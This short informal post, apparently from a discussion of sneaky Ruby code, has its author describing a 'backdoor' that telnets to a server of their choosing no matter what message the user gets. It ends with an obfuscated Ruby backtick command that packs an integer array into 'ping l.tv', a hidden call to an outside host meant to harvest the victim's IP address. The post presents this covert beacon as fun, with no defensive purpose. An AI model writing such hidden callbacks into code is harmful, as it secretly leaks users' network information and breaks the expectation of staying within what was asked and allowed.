I just realized I was being far too complicated with my backdoor. How about this. On the negative side it now has an even bigger string of inexplicable numbers, on the positive side no matter what message the user gets it telnets to whatever server I would like it to go to and the message doesn't need to include ruby code at all. Hmm I bet I can think of an even more sneaky way to get IP addresses.....this is kind of fun. hm ping has less numbers `#{[112, 105, 110, 103, 32, 108, 46, 116, 118].pack("c*")}`